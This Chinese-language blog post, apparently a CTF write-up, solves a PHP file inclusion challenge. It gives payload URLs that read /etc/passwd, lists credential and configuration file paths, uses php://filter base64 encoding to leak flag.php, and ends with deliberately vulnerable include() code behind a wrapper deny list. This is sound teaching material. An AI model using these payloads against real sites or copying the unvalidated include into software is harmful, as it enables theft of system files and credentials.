考点: 文件包含漏洞inlude

在这里插入图片描述

主界面显示如下图所示:

在这里插入图片描述

在这里插入图片描述

contact.php核心代码如下:

<form action="thankyou.php">
  <label for="fname">First Name</label>
  <input type="text" id="fname" name="firstname" placeholder="Your name..">
  
  <label for="lname">Last Name</label>
  <input type="text" id="lname" name="lastname" placeholder="Your last name..">

  <label for="country">Country</label>
    <select id="country" name="country">
      <option value="australia">Australia</option>
      <option value="britain">Britain</option>
      <option value="canada">Canada</option>
      <option value="usa">USA</option>
      <option value="other">Other</option>
    </select>

  <label for="subject">Subject</label>
  <textarea id="subject" name="subject" placeholder="Write something.." style="height:200px"></textarea>

  <input type="submit" value="Submit">
</form>


2.解题思路

这道题在contact.php页面有表单提交的选项,提交至thankyou.php页面,通过URL参数及题目提示文件包含,我们尝试往文件包含漏洞渗透。

什么是文件包含漏洞呢?
通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。PHP中常见的文件包含函数有以下四种:include()、require()、include_once()、require()_once()。

(1) 首先,我们提交正常的信息,看看反馈结果。

  • http://218.197.154.9:10017/thankyou.php?
  • firstname=eastmount&lastname=csdn&country=australia&subject=123456

在这里插入图片描述

反馈结果如下图所示:

在这里插入图片描述


(2) 通过参数file读取信息,验证该参数可用。

  • http://218.197.154.9:10017/thankyou.php?file=/etc/passwd

Linux获取信息常用方法:

  • /etc/passwd //账户信息
  • /etc/shadow //账户密码文件
  • /usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
  • /usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
  • /usr/local/app/php5/lib/php.ini //PHP相关配置
  • /etc/httpd/conf/httpd.conf //Apache配置文件
  • /etc/my.conf //mysql配置文件

在这里插入图片描述

尝试file参数其他方式获取信息,但提示include()没有该目录。

  • thankyou.php?file=…/…/…/…/…/…/…/…/…/var/log/apache/error.log
  • thankyou.php?file=…\phpinfo.php
  • thankyou.php?file=Http://127.0.0.1/phpinfo.php

在这里插入图片描述


(3) 利用php://filter获取指定文件源码。
当php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而导致任意文件读取。

  • http://218.197.154.9:10017/thankyou.php?file=php://filter/resource=flag.php

在这里插入图片描述

提示警告信息“Warning: include(): unable to locate filter “resource=flag.php” in /var/www/html/thankyou.php on line 44”。


(4) 直接读flag.php文件大多数情况会无法显示信息在浏览器页面上,所以需要将文件内容进行base64编码后显示在浏览器上,再自行解码。

  • http://218.197.154.9:10017/thankyou.php?
  • file=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述


(5) 在线base64解密,网址:https://tool.oschina.net/encrypt?type=3

  • flag=whuctf{N0w_y0u_kn0w_file_inclusion}

在这里插入图片描述


题目+实战总结:

  • 文件包含漏洞
  • 利用php://filter获取指定文件源码
  • 将文件内容进行base64编码后显示在浏览器上,再自行解码

大家可以在本地利用下列代码进行实验。

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	include($file);
}else{
	echo '<a href="?file=flag.php">tips</a>';
}
?>

推荐及参考文章:



五.总结

写到这里,这篇文章就介绍完毕,希望对您有所帮助。学安全近一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢师傅、师兄师弟、师姐师妹们的教导,深知自己很菜,得努力前行。最后还是那句话,人生路上,好好享受陪伴家人的日子,那才是最幸福的事情,爱你~

欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

(By:Eastmount 2020-05-29 下午6点写于贵阳 http://blog.csdn.net/eastmount/ )

猜你喜欢

转载自blog.csdn.net/Eastmount/article/details/106409569